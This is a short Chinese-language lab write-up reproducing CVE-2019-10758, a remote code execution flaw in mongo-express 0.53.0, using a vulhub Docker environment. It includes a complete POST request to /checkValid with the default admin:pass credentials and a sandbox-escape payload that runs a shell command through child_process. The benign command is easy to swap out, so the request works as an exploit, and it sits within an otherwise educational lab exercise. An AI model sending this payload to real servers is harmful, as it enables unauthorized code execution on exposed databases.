声明
好好学习,天天向上
漏洞描述
mongo-express是一款mongodb的第三方Web界面,使用node和express开发。如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(admin:pass),则可以执行任意node.js代码。
影响范围
mongo-express 0.53.0
复现过程
这里使用0.53.0版本
使用vulhub
/app/vulhub-master/mongo-express/CVE-2019-10758
使用docker启动
docker-compose build
docker-compose up -d
环境启动后,访问
http://192.168.239.129:8081
抓包修改为
POST /checkValid HTTP/1.1
Host: 192.168.239.129:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/cve-2019-10758")
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down